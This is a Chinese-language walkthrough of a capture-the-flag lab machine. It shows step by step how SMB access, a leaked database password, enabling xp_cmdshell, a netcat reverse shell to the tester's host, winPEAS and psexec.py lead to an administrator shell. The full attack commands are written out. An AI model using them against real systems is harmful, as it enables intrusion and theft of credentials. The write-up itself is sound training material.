发布时间:2023-09-23 12:30
先对SPAWN的机器扫描一下,nmap -sC -sV IP
扫描出了135,139,445,1433端口及具体信息。
TASK 1,数据库服务在哪个TCP端口?根据nmap的扫描结果,Microsoft SQL Server 2017服务运行在1433端口。
TASK 2,SMB上可用的非管理共享的名称是什么?backups
我们使用smbclient查看一下目标主机上可用的共享
smbclient -N -L IP
(-N:不需要密码,-L:获取主机上可用的共享列表)
这里我们发现除了ADMIN$
、C$
和IPC$
之外,还有一个backups
,尝试空密码连接。
smbclient \\\\IP\\backups
或smbclient -N \\\\IP\\backups
所以这里的非管理共享是backups
TASK 3,SMB共享文件中标识的密码是什么?
ls
,查看当前目录下的文件
get prod.dtsConfig
,下载文件到本地
exit
,退出
cat prod.dtsConfig
,查看文件内容
看到User ID=ARCHETYPE\sql_svc
,Password=M3g4c0rp123
。
TASK 4,可以使用 Impacket 集合中的哪些脚本来建立到 Microsoft SQL Server 的经过身份验证的连接?mssqlclient.py
首先了解一下什么是Impacket:
Impacket 是用于处理网络协议的 Python 类的集合。 Impacket 专注于提供对数据包的低级编程访问,并为某些协议(例如 SMB1-3 和 MSRPC)提供协议实现本身。数据包可以从头开始构建,也可以从原始数据中进行解析,面向对象的 API 使得处理深度协议层次结构变得简单。 该库提供了一组工具作为可以在该库的上下文中完成的操作的示例。
下载地址:https://github.com/SecureAuthCorp/impacket
Impacket工具包里有一个python脚本mssqlclient.py
可以连接到服务器并进行身份验证。我们使用backups里获得的账号密码连接到服务器。
python3 mssqlclient.py ARCHETYPE/sql_svc@IP -windows-auth
进入SQL命令行,我们首先输入help查看支持的命令有哪些。
检查我们在该服务器中的身份,判断我们是不是sysadmin,输出是1即True。
select is_srvrolemember('sysadmin');
TASK 5,可以使用 Microsoft SQL Server 的哪些扩展存储过程来生成 Windows 命令行?
从上面的help返回结果可以发现,我们可以使用xp_cmdshell
这个存储过程。
我们先测试一下xp_cmdshell是否开启。
exec xp_cmdshell "whoami";
这里显示xp_cmdshell已经被turned off。
我们使用sp_configure重新开启xp_cmdshell
exec sp_configure "show advanced options",1;
reconfigure;
exec sp_configure "xp_cmdshell",1;
reconfigure;
再次执行exec xp_cmdshell "whoami";
成功
在本机作准备,开启HTTP SERVER,并使用nc等待目标机回连。
在下载的nc目录下开启http server:sudo python3 -m http.server 80
监听1234端口:nc -lvvp 1234
为了在目标系统中上传二进制文件,我们需要找到合适的文件夹。通过xp_cmdshell执行powershell命令。-c:执行命令;pwd:当前目录。
xp_cmdshell "powershell -c pwd";
可以看到当前目录
作为ARCHETYPE/sql_svc用户,我们不一定有足够的权限能够将文件上传到系统目录中,甚至更高权限的操作。因此我们需要将我们当前的目录改成我们有一定权限的地方,比如我们用户的主目录。
cd 进入C:\Users\sql_svc\Downloads目录下,然后使用wget命令下载我们http server上的nc64.exe。
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget http://10.10.16.47/nc64.exe -outfile nc64.exe"
nc64.exe下载地址:https://github.com/int0x33/nc.exe/blob/master/nc64.exe
执行后,我们可以在python搭建的http server里看到记录,显示已经被该IP下载了。
然后使用nc的-e
指令,连接到我们机器的1234端口
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; ./nc64.exe -e cmd.exe IP 1234"
一般的flag可能都会存放在目标主机的桌面,我们先进入该用户的Desktop下通过dir命令查看当前目录下内容
type user.txt
打印user.txt,得到user flag。
net user,发现sql_svc与Administrator不在一组,要进行提权
TASK 6,使用什么脚本来搜索可能提升 Windows 主机权限的方法?winPEAS工具
根据TASK 6的Hint,我们发现有一款工具叫做winPEAS,
下载地址:https://github.com/carlospolop/PEASS-ng/releases/download/refs%2Fpull%2F260%2Fmerge/winPEASx64.exe
在反弹回的shell里,使用powershell下载我们本机HTTP SERVER下的winPEAS,自动化枚举目标系统的信息。
然后直接运行winPEASx64.exe
等待扫描结果。
从输出中观察到Current Token privileges有SeImpersonatePrivilege
,容易受到 juicy potato 的攻击。首先检查可以找到凭据的两个现有文件。
由于这是一个普通用户帐户以及服务帐户,因此值得检查频繁访问的文件或执行的命令。在检查结果中,发现在PowerShell Settings中,有PS的历史记录文件ConsoleHost_history.txt
,它相当于 Linux 系统的.bash_history
。ConsoleHost_history.txt
位于目录C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
。
TASK 7,哪个文件包含了管理员的密码?通过winPEAS检索到了powershell 历史文件ConsoleHost_history.txt
cd C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\
type ConsoleHost_history.txt
在这里我们得到了user为administrator
(管理员),密码MEGACORP_4dm1n!!
既然知道了管理员的用户名和密码,那么我们可以使用Impcaket工具包里的脚本psexec.py来横向,拿到administrator的shell。
python3 psexec.py administrator@10.129.171.111
然后输入administrator的密码,返回了一个system权限的shell
一般来说,flag一般存放在用户的desktop目录下,我们进入该目录发现root.txt,
打印该文件type root.txt
得到flag